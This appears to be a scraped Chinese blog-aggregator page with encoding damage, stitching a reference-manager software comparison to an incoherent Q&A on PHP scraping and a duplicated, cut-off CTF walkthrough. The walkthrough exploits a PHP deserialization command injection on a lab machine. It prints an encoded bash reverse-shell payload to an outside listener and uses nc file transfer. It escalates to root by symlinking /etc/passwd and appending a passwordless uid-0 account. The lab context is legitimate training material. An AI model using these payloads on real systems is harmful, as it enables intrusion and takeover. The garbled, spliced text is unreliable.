5.PapersPapers 是一款Mac平臺專(zhuān)業(yè)的文獻管理工具。它的主要功能包括文獻導入、組織、閱讀(注釋?zhuān)?、自?dòng)匹配參考條目,搜索、在文檔中插入引用、評點(diǎn)交流等。Papers的一大特點(diǎn)就是支持PDF抓取文獻關(guān)鍵信息,支持與iPhone/iPad互聯(lián),可以通過(guò)云盤(pán)方式實(shí)現文獻多終端閱讀。Papers支持六大云盤(pán)Box、Google Drive、iCloud、OneDrive、SugarSync、Network file shared。另外,Papers并不是通過(guò)Word插件的方式來(lái)引用文獻,而是通過(guò)彈出窗口的方式添加文獻。插入引用文獻時(shí)雙擊鍵盤(pán)Control鍵,在彈出的小窗口搜索所需要文獻插入即可??偟膩?lái)說(shuō),Papers功能也是很強大的,但是在創(chuàng )建作者名的顯示方式、標點(diǎn)的設置方面,還是Endnote更詳盡一些啦!
Mac重度使用者必備噢!
Papers資源合集:Papers for mac官網(wǎng)教程:;各種雜志格式的Github的鏈接:;
6.NoteExpressNoteExpress 是北京愛(ài)琴海軟件公司開(kāi)發(fā)的一款專(zhuān)業(yè)級別的文獻檢索與管理系統。是一款國產(chǎn)文獻管理軟件,支持20多種在線(xiàn)搜索數據庫,可以很輕松地查找各種數據文獻。擁有快速檢索的能力,支持數以百計的圖書(shū)館數據庫和網(wǎng)絡(luò )電子庫。軟件分為個(gè)人版和集團版兩個(gè)版本,大部分學(xué)校會(huì )購買(mǎi)集團版的版權,個(gè)人版只能免費試用30天。在官網(wǎng)下載完成后注冊賬號就可以嵌入word中使用了。NoteExpress對中文文獻非常友好、中文雜志的引文格式數量多??梢砸灶}錄的方式管理文獻。完美兼容WPS,而且全中文界面,操作簡(jiǎn)單。此外,NoteExpress還提供了重復題目去重、文獻校對等功能。想要一款中文版易上手軟件的童鞋們可以放心使用NoteExpress!

word插件如下:
NoteExpress資源合集:NoteExpress 官網(wǎng)下載:;NoteExpress圖文教程:;優(yōu)酷教程鏈接:;
7.JabRefJabRef是一個(gè)開(kāi)放源代碼、處理BibTeX格式的文獻管理軟件,提供了簡(jiǎn)易操作的界面來(lái)編輯BibTeX檔案。它的功能包含從網(wǎng)絡(luò )上的科學(xué)數據庫匯入資料,以及整理和搜尋 BibTeX 檔案等。它的另一大優(yōu)勢是可以使用于各種操作系統,如 Windows、Linux、Mac OS X。
JabRef資源合集:JabRef 主頁(yè):;JabRef使用手冊:
8.ReadcubeReadCube是個(gè)有前途的軟件,有著(zhù)非常強大的搜索功能,它和谷歌學(xué)術(shù)、PubMed以及Readcube自己的文獻庫高度集成,可以隨時(shí)進(jìn)行搜索,以文獻閱讀為中心。ReadCube還能根據我們文獻庫里的文獻推薦近期相似的文獻,(這個(gè)小機靈鬼),可見(jiàn),它唯一的缺點(diǎn)就是收費了。
ReadCube資源合集:官網(wǎng):;軟件介紹: ;優(yōu)酷視頻教程:;
文獻管理軟件一覽表
軟件
Endonte
Mendeley
Zotero
Citavi
費用
付費(250美元),有破解版
免費
免費
免費
文獻管理
Word引文插件;標注PDF文件;筆記功能
Word引文插件;PDF文件內搜索;標注PDF文件;跨平臺同步;筆記功能
Word引文插件;跨平臺同步
Word引文插件;PDF文件內搜索;標注PDF文件;跨平臺同步;筆記功能
文獻搜索
全文搜索;搜索跨外部數據庫
開(kāi)放數據庫;個(gè)性化文章建議;讀者統計和社區標簽;打開(kāi)Web API;全文搜索;搜索跨外部數據庫
打開(kāi)Web API;全文搜索
開(kāi)放數據庫;個(gè)性化文章建議;讀者統計和社區標簽;打開(kāi)Web API;全文搜索;搜索跨外部數據庫
支持平臺
Windows系統;瀏覽器;Android版;圖書(shū)館系統集成
Windows系統;瀏覽器;Android版;圖書(shū)館系統集成;Mac;IOS
Windows系統;瀏覽器;Mac;圖書(shū)館系統集成
Windows系統;瀏覽器;圖書(shū)館系統集成
數據提取

DOI;嵌入式元數據
DOI;嵌入式元數據;PubmedID和ArxivIDs;引文細節
DOI;嵌入式元數據;PubmedID和ArxivIDs;引文細節
DOI;嵌入式元數據;PubmedID和ArxivIDs;引文細節
軟件
Papers
NoteExpress
JabRef
Readcube
費用
付費(79美元)
付費(學(xué)生版198,永久版 698 元)
免費
免費
文獻管理
Word引文插件;標注PDF文件;筆記功能
重復題目去重;文獻校對;標注PDF文件;筆記功能;標注PDF文件
整理和搜尋 BibTeX 檔案
Word引文插件;PDF文件內搜索;標注PDF文件;跨平臺同步;筆記功能
文獻搜索
全文搜索;搜索跨外部數據庫
搜索跨外部數據庫
搜索跨外部數據庫
開(kāi)放數據庫;個(gè)性化文章建議;搜索跨外部數據庫
支持平臺
瀏覽器;Android版;圖書(shū)館系統集成
Windows系統;瀏覽器;
Windows系統;Mac;IOS
Windows系統;瀏覽器;Android版;圖書(shū)館系統集成;Mac;IOS
數據提取
DOI;嵌入式元數據;PubmedID和ArxivIDs;引文細節
DOI;引文細節
DOI;PubmedID;引文細節
DOI;嵌入式元數據;PubmedID和ArxivIDs;引文細節
說(shuō)明
本文內容若存在版權問(wèn)題,請聯(lián)系我們及時(shí)處理。
歡迎廣大讀者對本文進(jìn)行轉發(fā)宣傳。
php抓取網(wǎng)頁(yè)數據插入數據庫-百度云-云盤(pán)同步aws
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 64 次瀏覽 ? 2022-07-12 06:05
php抓取網(wǎng)頁(yè)數據插入數據庫-百度云-云盤(pán)同步aws云文件夾-awsdropbox按節目文件夾或某節目查看帶附件或歷史文件這些都是實(shí)現,簡(jiǎn)單但有效。sina微博評論打開(kāi)網(wǎng)頁(yè),鍵入關(guān)鍵詞,
那些都是協(xié)議,但這些協(xié)議都是針對cms的,樓主拿到源代碼你也可以把代碼放進(jìn)來(lái)自己寫(xiě),難度很低,只是你的技術(shù)實(shí)力不夠而已,
找到代碼,然后自己改造。最快的就是扒客戶(hù)端源代碼。但是也存在各種風(fēng)險,因為你的代碼里面有你自己的東西,別人可能會(huì )有很多漏洞去接觸這些文件,是自己的文件就要防止被攻破。
云盤(pán)什么的都是xml格式的數據,自己寫(xiě)也是可以直接抓的??梢哉业狡渲心骋欢?storage/cache目錄,把它改成regex。復制一下,然后掛載到你的爬蟲(chóng)中即可,完畢。
既然是爬蟲(chóng)的話(huà)。像我們公司就是用asp為基礎。因為我們公司每天有100多萬(wàn)的發(fā)送量??偟谜覀€(gè)解決方案啊。
解決這個(gè)問(wèn)題,其實(shí)是比較容易解決的。用googlechrome的開(kāi)發(fā)者工具的network標簽,查看文件的分布就行了,尤其是url結尾都可以看見(jiàn)。我用googlechrome已經(jīng)滿(mǎn)多年,各種抓取方式基本上都已經(jīng)摸熟了。google不僅僅提供http接口,還提供https接口,我就用他來(lái)抓取很多涉及到服務(wù)器的頁(yè)面。
如果僅僅是想要爬取數據,僅僅是url結尾為“cache/issue”,那么就完全沒(méi)有必要自己寫(xiě)。有很多現成的抓取工具,比如說(shuō)云采信和牛牛采信(基于googlechrome的,建議掛vpn使用)。這種服務(wù)的好處就是可以一鍵把數據下發(fā)到公司域名的任何一臺設備,既省心省事,而且實(shí)現起來(lái)非常簡(jiǎn)單。但是,如果你真的想要自己動(dòng)手的話(huà),可以考慮下這樣的思路:比如網(wǎng)上有很多開(kāi)源的cookiecookie之類(lèi)的,你需要的是把他們轉化為相應的格式,然后讓爬蟲(chóng)程序讀取。
好處就是可以直接寫(xiě)轉化過(guò)程的接口,而且直接生成https服務(wù)器;壞處就是無(wú)法模擬本地瀏覽器、ip地址或端口,爬蟲(chóng)程序需要寫(xiě)驅動(dòng)程序從而進(jìn)行解析,之后再寫(xiě)成https服務(wù)器,但是這種方式會(huì )比較笨重一些。另外我們公司通過(guò)flash來(lái)處理httpscookie,不過(guò)后來(lái)取消掉了。還有你也可以查看看,網(wǎng)上各種抓取數據的教程,里面也是有步驟圖的。
不過(guò)一旦遇到問(wèn)題需要用網(wǎng)頁(yè)地址提交給爬蟲(chóng)工具,工具會(huì )識別你的url而不是域名。所以在web瀏覽器打開(kāi)爬蟲(chóng)程序的時(shí)候你要注意它是否會(huì )識別url,如果不識別那就需要爬蟲(chóng)程序進(jìn)行解析。這些我就不在這里一一贅述了。 查看全部
php抓取網(wǎng)頁(yè)數據插入數據庫-百度云-云盤(pán)同步aws
php抓取網(wǎng)頁(yè)數據插入數據庫-百度云-云盤(pán)同步aws云文件夾-awsdropbox按節目文件夾或某節目查看帶附件或歷史文件這些都是實(shí)現,簡(jiǎn)單但有效。sina微博評論打開(kāi)網(wǎng)頁(yè),鍵入關(guān)鍵詞,
那些都是協(xié)議,但這些協(xié)議都是針對cms的,樓主拿到源代碼你也可以把代碼放進(jìn)來(lái)自己寫(xiě),難度很低,只是你的技術(shù)實(shí)力不夠而已,

找到代碼,然后自己改造。最快的就是扒客戶(hù)端源代碼。但是也存在各種風(fēng)險,因為你的代碼里面有你自己的東西,別人可能會(huì )有很多漏洞去接觸這些文件,是自己的文件就要防止被攻破。
云盤(pán)什么的都是xml格式的數據,自己寫(xiě)也是可以直接抓的??梢哉业狡渲心骋欢?storage/cache目錄,把它改成regex。復制一下,然后掛載到你的爬蟲(chóng)中即可,完畢。
既然是爬蟲(chóng)的話(huà)。像我們公司就是用asp為基礎。因為我們公司每天有100多萬(wàn)的發(fā)送量??偟谜覀€(gè)解決方案啊。

解決這個(gè)問(wèn)題,其實(shí)是比較容易解決的。用googlechrome的開(kāi)發(fā)者工具的network標簽,查看文件的分布就行了,尤其是url結尾都可以看見(jiàn)。我用googlechrome已經(jīng)滿(mǎn)多年,各種抓取方式基本上都已經(jīng)摸熟了。google不僅僅提供http接口,還提供https接口,我就用他來(lái)抓取很多涉及到服務(wù)器的頁(yè)面。
如果僅僅是想要爬取數據,僅僅是url結尾為“cache/issue”,那么就完全沒(méi)有必要自己寫(xiě)。有很多現成的抓取工具,比如說(shuō)云采信和牛牛采信(基于googlechrome的,建議掛vpn使用)。這種服務(wù)的好處就是可以一鍵把數據下發(fā)到公司域名的任何一臺設備,既省心省事,而且實(shí)現起來(lái)非常簡(jiǎn)單。但是,如果你真的想要自己動(dòng)手的話(huà),可以考慮下這樣的思路:比如網(wǎng)上有很多開(kāi)源的cookiecookie之類(lèi)的,你需要的是把他們轉化為相應的格式,然后讓爬蟲(chóng)程序讀取。
好處就是可以直接寫(xiě)轉化過(guò)程的接口,而且直接生成https服務(wù)器;壞處就是無(wú)法模擬本地瀏覽器、ip地址或端口,爬蟲(chóng)程序需要寫(xiě)驅動(dòng)程序從而進(jìn)行解析,之后再寫(xiě)成https服務(wù)器,但是這種方式會(huì )比較笨重一些。另外我們公司通過(guò)flash來(lái)處理httpscookie,不過(guò)后來(lái)取消掉了。還有你也可以查看看,網(wǎng)上各種抓取數據的教程,里面也是有步驟圖的。
不過(guò)一旦遇到問(wèn)題需要用網(wǎng)頁(yè)地址提交給爬蟲(chóng)工具,工具會(huì )識別你的url而不是域名。所以在web瀏覽器打開(kāi)爬蟲(chóng)程序的時(shí)候你要注意它是否會(huì )識別url,如果不識別那就需要爬蟲(chóng)程序進(jìn)行解析。這些我就不在這里一一贅述了。
php抓取網(wǎng)頁(yè)數據插入數據庫 外殼堅硬的谷子
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 103 次瀏覽 ? 2022-06-28 22:17
發(fā)現了一個(gè)java_script腳本(實(shí)際滲透工作中應該關(guān)注此腳本內容,能夠透出出后端的信息)
里面的內容大致的意思是
通過(guò)函數,提交表單,通過(guò)序列化的操作!IP地址等信息交給ipaddres這個(gè)變量序列化的操作!
那么在這里面既然有序列化的操作,是否會(huì )存在一個(gè)反序列化的漏洞類(lèi)型呢?
這里還看到了一個(gè)被包含的js的文件
點(diǎn)擊這個(gè)鏈接 :44441/php.js"
里面的內容大致就是序列化函數,大概率存在序列化操作
先對其頁(yè)面進(jìn)行功能化測試,輸入127.0.0.1
在結果框中輸出了結果
輸入一些運營(yíng)商的DNS的IP地址
結果顯示出來(lái),從結果上來(lái)看,就是通過(guò)操作系統的ping 命令操作得來(lái)的!
總的來(lái)說(shuō)這就是一個(gè)ping的功能界面(輸入Ip ,統計輸出一些信息是由服務(wù)端調用了系統的ping 命令而來(lái))
這個(gè)地方是否會(huì )存在命令注入漏洞呢?
使用;號,|管道符這樣的連接命令,連接一個(gè)系統id的命令
如圖:沒(méi)有任何返回
使用burp抓取請求報文,看一下內部的流量變化,是否存在序列化的數據
先把瀏覽器代理設置好
通過(guò)抓取的報文,得到的是一個(gè)POST的請求方式;
攜帶了一個(gè)obj的對象和一個(gè)ip 的變量要提交到服務(wù)端;
其中這個(gè)obj的對象里的內容經(jīng)過(guò)了url編碼,將它轉換成可識別的路徑
轉換結果,懂得序列化格式的朋友一看就是php文件之后的序列化數據的格式了
pingTest :序列化對象定義的的類(lèi)
1 :代表類(lèi)中一個(gè)數據的提交
ipAddress :類(lèi)中提交的一個(gè)數據的變量名稱(chēng)
s : 代表了序列化
9 : 代表了名稱(chēng)ipAddress 和 127.0.0.1字符串的長(cháng)度。
這就是客戶(hù)端發(fā)送的序列化數據格式到服務(wù)端,服務(wù)端收到了127.0.0.1這個(gè)IP 去完成Ping,然后返回給客戶(hù)端的一個(gè)過(guò)程!
如果覺(jué)得burp字體小,可以調的大一些
重新抓取一個(gè)請求報文,在表單中輸入 127.0.0.1;id(增加了注入命令)
在抓取的請求報文中,將obj和ip 這兩個(gè)類(lèi)中序列化數據解碼成可識別的url,看看有什么變化
序列化的格式基本沒(méi)變,變化的就是賦值多了;id 這樣的內容,字符長(cháng)度也增加到了12個(gè);
證明了表單中輸入注入命令的這些內容,由java_script腳本原封不動(dòng)的變成序列化的內容。
轉發(fā)后,服務(wù)端并沒(méi)有執行該序列化的內容
證明服務(wù)端對ip地址這樣的格式存在檢查機制!
為了弄清這個(gè)問(wèn)題,將這個(gè)原始的命令發(fā)送請求發(fā)送給repeater
url被轉換后,在repeater中點(diǎn)擊send發(fā)送給服務(wù)端
在重放的界面中,可以構造一些注入命令;
我在這里添加 | ls ,發(fā)現服務(wù)端的響應報文有500的狀態(tài)碼
改變了字符的長(cháng)度,雖然不是狀態(tài)碼500的狀態(tài)碼,但是回顯頁(yè)面是黑屏
反序列化的漏洞特征在黑盒測試下,是十分難獲取,除非拿到源碼!
那么接下來(lái),就需要再目標靶機中找源碼,在實(shí)際的滲透工作中,源碼的存儲路徑默認在根路徑下的.git或者.svn這樣的版本庫里
先停止burp的截斷功能;
訪(fǎng)問(wèn)瀏覽器,查看是否有g(shù)it的版本庫文件,結果沒(méi)有提示
查看.svn 也沒(méi)有
再回想之前的信息收集,中曾描述了這么一段話(huà):讓我們關(guān)注其備份文件
再次使用dirbuster這個(gè)工具對secure.cereal.ctf:44441這個(gè)路徑下進(jìn)行隱藏路徑和擴展名的爬取,攜帶體型較大的字典文件
在最終的爬取結果中,看到一些之前沒(méi)有被爬取出的備份文件路徑(根據計算機配置,時(shí)間長(cháng)短不一?。?br /> 先訪(fǎng)問(wèn)/icons/small的路徑,訪(fǎng)問(wèn)路徑看起來(lái)但只是有一些小圖片,這對滲透沒(méi)有什么價(jià)值;
再針對/back_en這個(gè)路徑進(jìn)行隱藏路徑的爬取,這里面是否會(huì )存在一些備份文件呢,還是利用dirbuster,只不過(guò)更換一個(gè)小體積的密碼字典文件,攜帶查詢(xún)擴展名為bak
尋找到了一個(gè)index.php.bak,并且這個(gè)http狀態(tài)碼是200 (這個(gè)狀態(tài)顯示該資源是存在的,并且能夠請求到?。?br /> 既然發(fā)現了這一個(gè)文件,回到kali中,使用wget進(jìn)行下載.index.php.bak
查看文件類(lèi)型,看起來(lái)就是一個(gè)php的腳本文件,只不過(guò)增加了一個(gè)擴展名!
使用kali的文本編輯器mousepad打開(kāi)該文件
看起來(lái)是一個(gè)帶有php標簽的php語(yǔ)言文件;
查看該php源碼文件,發(fā)現有html標簽文件
其中有java腳本文件中的一些序列化操作函數
源碼審計分析
class pingTest ---定義了類(lèi)(反序列化對象的類(lèi))
public $ipAddress = "127.0.0.1";--變量名稱(chēng)和賦值
public $isValid = False; -- 校驗是失敗的
public $output = ""; -- 空值
這是之前抓取的報文中obj對象中有的內容
function validate() {-- 定義了一個(gè)函數
if (!$this->isValid) { -- 校驗isValid函數是真還是假
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{-- 使用過(guò)濾器對傳入的IpAddress使用方法(使用filter_var進(jìn)行判斷)
$this->isValid = True;--fileter_var函數校驗賦值若成功,將這個(gè)valid值變?yōu)門(mén)rue
}
}
$this->ping(); -- 執行Ping的命令;
}
public function ping() -- 以下是ping 的命令函數具體操作內容
{
if ($this->isValid) { -- isValid 若是 True
$this->output = shell_exec("ping -c 3 $this->ipAddress"); -- 執行內容就是使用ping 三個(gè)報文;
這里需要明白的是過(guò)濾器FILTERVALIDATE_IP 里的內容是在目標靶機中別的文件里進(jìn)行定義的,其作用就是判斷輸入的內容是不是真正的IP,若是真正的IP,就將isValid改為T(mén)rue;
當post請求接收到來(lái)自obj請求的賦值時(shí),進(jìn)行一個(gè)解碼的操作
f (isset($_POST['obj'])) {
$pingTest = unserialize -- 反序列化操作
(urldecode($_POST['obj'])); --解碼
} else {
$pingTest = new pingTest; -- 新的賦值
}
$pingTest->validate(); --調用vali
分析完成后,攻擊思路的重點(diǎn)放在提交的數據(IP地址)校驗結果取決于與isvalid判定的結果,在源碼文件中,默認isValid = False,若是生成一個(gè)序列化的數據,聲明isValid值就等于True,這樣的話(huà),就會(huì )執行ping命令了!
實(shí)現繞過(guò)服務(wù)端的檢查!
反序列化漏洞的利用方法
先在客戶(hù)端上生成一個(gè)序列化的數據序列(內容中需要聲明類(lèi),調用類(lèi)創(chuàng )建一個(gè)新的序列化對象,,對象中的valid指定true,注入Ip地址后添加系統指令)實(shí)現饒過(guò)isValid真假的校驗。
在kali上新建一個(gè)生成序列化的php文件,寫(xiě)一個(gè)ser1.php的php的代碼
運行該php文件
生成了一個(gè)序列,將這個(gè)序列化的內容拷貝O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
將序列化內容粘貼到截獲的報文之中去
將這個(gè)url 地址轉換一下
能夠看到有兩個(gè)鍵值對 ipaddress 和isvalid
b=1 為布爾值,代表了真的意思!
點(diǎn)擊發(fā)送,服務(wù)端返回了http狀態(tài)碼200
再觀(guān)察服務(wù)端渲染回來(lái)的界面結果,看起來(lái),是執行成功了!
再次驗證結果,將生成序列化里的內容,稍作修改,將ipaddress改成另外一個(gè)Ip地址,(注意,如果改202.106.0.20這個(gè)IP,字符長(cháng)度就要從原來(lái)的9變?yōu)?2)要不然服務(wù)端會(huì )回顯500的狀態(tài)碼!
結果成功!
由此,可以證明構造序列化的數據向服務(wù)端提交請求!,ip地址后面加入一些系統指令,來(lái)進(jìn)一步證明!
這里我在223.5.5.5后面增加了 ;id
服務(wù)端回顯了200的狀態(tài)碼
渲染界面里提示成功!
觀(guān)察服務(wù)端回顯的回應源數據文件
id的命令被執行了,目標靶機的第一個(gè)用戶(hù)身份是apache的用戶(hù)名稱(chēng)
因此,就可以在此處插入更多的指令
查看目標靶機中是否有nc的命令?
結果命令沒(méi)有回顯
由于插入常規的反彈shell 會(huì )導致字符長(cháng)度過(guò)長(cháng),出于簡(jiǎn)單的目的,使用bash直接連接,產(chǎn)生網(wǎng)絡(luò )連接的方式!
輸入以下內容:
在kali中繼續修改ser1.php文件
保存ser1.php文件后,在kali上開(kāi)啟偵聽(tīng)3028端口
再次運行 ser1.php文件,生成一個(gè)新的序列化數據O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A52%3A%22127.0.0.1%7Cbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.85%2F3028+0%3E%261%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
將這個(gè)序列化的數據內容插入的repter之中,點(diǎn)擊發(fā)送!
如圖所示:獲得了一個(gè)反彈shell的鏈接!身份是apche
本地提權
先收獲第一個(gè)flag!
查看操作系統版本
查看 sudo 權限以及尋找suid文件漏洞,都沒(méi)有得到有效的線(xiàn)索!
查看 目標系統內的所有用戶(hù)
發(fā)現有一個(gè)rocky的用戶(hù)可以登錄系統!
查看rocky用戶(hù)下的所有文件
重點(diǎn)放在了public_html下的文件,可以看到44441端口下的一些文件
進(jìn)入到該文件目錄,查看index.php 這個(gè)文件,發(fā)現內容和我之前下載的那個(gè)文件內容一樣!類(lèi)中的定義也是一樣的!
查看目標靶機的系統進(jìn)程
沒(méi)有發(fā)現可利用的線(xiàn)索 (mysql用的是非root)
目標靶機啟用了大量的端口!
這就是在端口掃描階段,端口結果沒(méi)有應用的原因!靶機作者用nc空開(kāi)了許多無(wú)用的端口!
在漫長(cháng)的信息收集后,決定使用一個(gè)監視目標靶機進(jìn)程產(chǎn)生的工具
pspy64一個(gè)linux系統進(jìn)程監控工具
下載地址:
部分網(wǎng)絡(luò )環(huán)境需要掛的代理訪(fǎng)問(wèn)
百度云下載地址:
提取碼:1zrs
從該軟件的自述文件可以得知,不需要root身份就可以監控用戶(hù)(操作系統)的新的進(jìn)程創(chuàng )建,符合目前靶機的情況,來(lái)搜尋后臺的進(jìn)程-crond,這些后臺進(jìn)程會(huì )運行腳本文件(這些進(jìn)程是root身份運行,比如定時(shí)任務(wù)什么的)
我現將這個(gè)軟件上傳到我的kali上去,因為目標靶機的系統是64位,因此我下載的這個(gè)Pspy也是64位的!
先查看目標靶機的定時(shí)任務(wù)和root下的定時(shí)任務(wù)
在root下提示是沒(méi)有權限的!
將pspy64這個(gè)文件上傳到目標靶機之中,查看目標靶機系統是否會(huì )在一段時(shí)間過(guò)后,自動(dòng)創(chuàng )建一些后臺進(jìn)程(這些進(jìn)程由root身份運行的呢?)
通過(guò)觀(guān)察,在這個(gè)路徑下,我目前的身份是apache ,而這些文件的用戶(hù)組是apche,是擁有所有的權限的,包括了寫(xiě)入的權限!
因此,我利用nc 來(lái)接收這個(gè)pspy64文件
bash-4.4$ nc -nvlp 3030 > pspy
傳入成功
nc 192.168.1.74 3030 < /home/fengxin/桌面/pspy64 -w 1
增加執行權限到pspy文件~
啟動(dòng)改文件 ./pspy
這個(gè)啟動(dòng)和執行過(guò)程需要等待一會(huì ),系統會(huì )不會(huì )有新的進(jìn)程出現
??!
1:33
在后臺進(jìn)程中,我發(fā)現了一個(gè)叫做chown.sh的腳本,眾所周知chown是linux的一個(gè)命令
這應該是管理員自己創(chuàng )建的一個(gè)腳本文件
/bin/bash /usr/share/scripts/chown.sh
我在kali上監聽(tīng)3031端口,增加一個(gè)反彈shell的連接
修改之前抓取的obj對象里數據內容,將之前觸發(fā)序列化漏洞的數據,有一個(gè)端口改為3031
查看目標靶機里的文件,能夠查看到這個(gè)文件的權限是可以被其他用戶(hù)所讀取
查看該chown.sh文件
看起來(lái)是將周期性的這個(gè)/home/rocky/public_html/* 這個(gè)目標文件夾下所有的文件權限改成屬主是rocky,屬組是apache
這就是我之前有一個(gè)chmod +x 執行失敗的原因,正好趕上周期性的將這個(gè)目錄下所有文件的屬主和屬組改變,讓我無(wú)法修改
一個(gè)周期過(guò)后,我在看這個(gè)public_html下所有的文件的屬主和屬組都發(fā)生了變化!
那么,這個(gè)命令腳本內容對目前滲透有什么幫助呢?
軟連接這個(gè)命令這個(gè)時(shí)候就派上了用場(chǎng)!
先來(lái)看一下系統的/etc/passwd這個(gè)文件的屬主和屬組
在kali上只有root用戶(hù)有可讀可寫(xiě)權限,其他的只有讀的權限
在目標靶機中的這個(gè)/etc/passwd文件是屬主和屬組擁有完全權限!
難么在靶機的這個(gè)/home/rocky/public_html下也新建一個(gè)Passwd文件,并連接到/etc/passwd呢?
ln -sf /etc/passwd ./passwd
這個(gè)chown.sh腳本在周期性的執行,會(huì )把這個(gè)/home/rokcy/public_html下的passwd文件屬主改為rocky, 屬組改為apache!
等待一段時(shí)間觀(guān)察,監控到chown腳本周期執行,權限會(huì )發(fā)生變化,
可是圖中的passd權限卻沒(méi)有發(fā)生變化!
按照理論目標靶機的/etc/passwd這個(gè)文件的屬主和屬組也會(huì )被修改成rokcy和apache的!
觀(guān)察,/etc/passwd這個(gè)文件的屬主和屬組變化了!
這樣的話(huà)就可以將root密碼設為空了!
因為當前獲得的反彈shell 不太穩定
我這里新建一個(gè)用戶(hù),密碼占位符x 刪除掉,不需要密碼,使用的是uid和gid都為0的設置,了解linux用戶(hù)屬性的都知道uid=0 gid=0 的賬號一定是root角色,并將這些信息追加到/etc/passwd中去
echo "daidai::0:0:root:/root:/bin/bash" >> /etc/passwd
最后查看passwd文件,注入成功!
最后使用su命令,切換到daidai這個(gè)用戶(hù)
提權成功,獲取flag
到此結束,打靶結束! 查看全部
php抓取網(wǎng)頁(yè)數據插入數據庫 外殼堅硬的谷子
發(fā)現了一個(gè)java_script腳本(實(shí)際滲透工作中應該關(guān)注此腳本內容,能夠透出出后端的信息)
里面的內容大致的意思是
通過(guò)函數,提交表單,通過(guò)序列化的操作!IP地址等信息交給ipaddres這個(gè)變量序列化的操作!
那么在這里面既然有序列化的操作,是否會(huì )存在一個(gè)反序列化的漏洞類(lèi)型呢?
這里還看到了一個(gè)被包含的js的文件
點(diǎn)擊這個(gè)鏈接 :44441/php.js"
里面的內容大致就是序列化函數,大概率存在序列化操作
先對其頁(yè)面進(jìn)行功能化測試,輸入127.0.0.1
在結果框中輸出了結果
輸入一些運營(yíng)商的DNS的IP地址
結果顯示出來(lái),從結果上來(lái)看,就是通過(guò)操作系統的ping 命令操作得來(lái)的!
總的來(lái)說(shuō)這就是一個(gè)ping的功能界面(輸入Ip ,統計輸出一些信息是由服務(wù)端調用了系統的ping 命令而來(lái))
這個(gè)地方是否會(huì )存在命令注入漏洞呢?
使用;號,|管道符這樣的連接命令,連接一個(gè)系統id的命令
如圖:沒(méi)有任何返回
使用burp抓取請求報文,看一下內部的流量變化,是否存在序列化的數據
先把瀏覽器代理設置好
通過(guò)抓取的報文,得到的是一個(gè)POST的請求方式;
攜帶了一個(gè)obj的對象和一個(gè)ip 的變量要提交到服務(wù)端;
其中這個(gè)obj的對象里的內容經(jīng)過(guò)了url編碼,將它轉換成可識別的路徑
轉換結果,懂得序列化格式的朋友一看就是php文件之后的序列化數據的格式了
pingTest :序列化對象定義的的類(lèi)
1 :代表類(lèi)中一個(gè)數據的提交
ipAddress :類(lèi)中提交的一個(gè)數據的變量名稱(chēng)
s : 代表了序列化
9 : 代表了名稱(chēng)ipAddress 和 127.0.0.1字符串的長(cháng)度。
這就是客戶(hù)端發(fā)送的序列化數據格式到服務(wù)端,服務(wù)端收到了127.0.0.1這個(gè)IP 去完成Ping,然后返回給客戶(hù)端的一個(gè)過(guò)程!
如果覺(jué)得burp字體小,可以調的大一些
重新抓取一個(gè)請求報文,在表單中輸入 127.0.0.1;id(增加了注入命令)
在抓取的請求報文中,將obj和ip 這兩個(gè)類(lèi)中序列化數據解碼成可識別的url,看看有什么變化
序列化的格式基本沒(méi)變,變化的就是賦值多了;id 這樣的內容,字符長(cháng)度也增加到了12個(gè);
證明了表單中輸入注入命令的這些內容,由java_script腳本原封不動(dòng)的變成序列化的內容。
轉發(fā)后,服務(wù)端并沒(méi)有執行該序列化的內容
證明服務(wù)端對ip地址這樣的格式存在檢查機制!
為了弄清這個(gè)問(wèn)題,將這個(gè)原始的命令發(fā)送請求發(fā)送給repeater
url被轉換后,在repeater中點(diǎn)擊send發(fā)送給服務(wù)端
在重放的界面中,可以構造一些注入命令;
我在這里添加 | ls ,發(fā)現服務(wù)端的響應報文有500的狀態(tài)碼
改變了字符的長(cháng)度,雖然不是狀態(tài)碼500的狀態(tài)碼,但是回顯頁(yè)面是黑屏
反序列化的漏洞特征在黑盒測試下,是十分難獲取,除非拿到源碼!
那么接下來(lái),就需要再目標靶機中找源碼,在實(shí)際的滲透工作中,源碼的存儲路徑默認在根路徑下的.git或者.svn這樣的版本庫里
先停止burp的截斷功能;
訪(fǎng)問(wèn)瀏覽器,查看是否有g(shù)it的版本庫文件,結果沒(méi)有提示
查看.svn 也沒(méi)有
再回想之前的信息收集,中曾描述了這么一段話(huà):讓我們關(guān)注其備份文件
再次使用dirbuster這個(gè)工具對secure.cereal.ctf:44441這個(gè)路徑下進(jìn)行隱藏路徑和擴展名的爬取,攜帶體型較大的字典文件
在最終的爬取結果中,看到一些之前沒(méi)有被爬取出的備份文件路徑(根據計算機配置,時(shí)間長(cháng)短不一?。?br /> 先訪(fǎng)問(wèn)/icons/small的路徑,訪(fǎng)問(wèn)路徑看起來(lái)但只是有一些小圖片,這對滲透沒(méi)有什么價(jià)值;
再針對/back_en這個(gè)路徑進(jìn)行隱藏路徑的爬取,這里面是否會(huì )存在一些備份文件呢,還是利用dirbuster,只不過(guò)更換一個(gè)小體積的密碼字典文件,攜帶查詢(xún)擴展名為bak
尋找到了一個(gè)index.php.bak,并且這個(gè)http狀態(tài)碼是200 (這個(gè)狀態(tài)顯示該資源是存在的,并且能夠請求到?。?br /> 既然發(fā)現了這一個(gè)文件,回到kali中,使用wget進(jìn)行下載.index.php.bak
查看文件類(lèi)型,看起來(lái)就是一個(gè)php的腳本文件,只不過(guò)增加了一個(gè)擴展名!
使用kali的文本編輯器mousepad打開(kāi)該文件
看起來(lái)是一個(gè)帶有php標簽的php語(yǔ)言文件;
查看該php源碼文件,發(fā)現有html標簽文件

其中有java腳本文件中的一些序列化操作函數
源碼審計分析
class pingTest ---定義了類(lèi)(反序列化對象的類(lèi))
public $ipAddress = "127.0.0.1";--變量名稱(chēng)和賦值
public $isValid = False; -- 校驗是失敗的
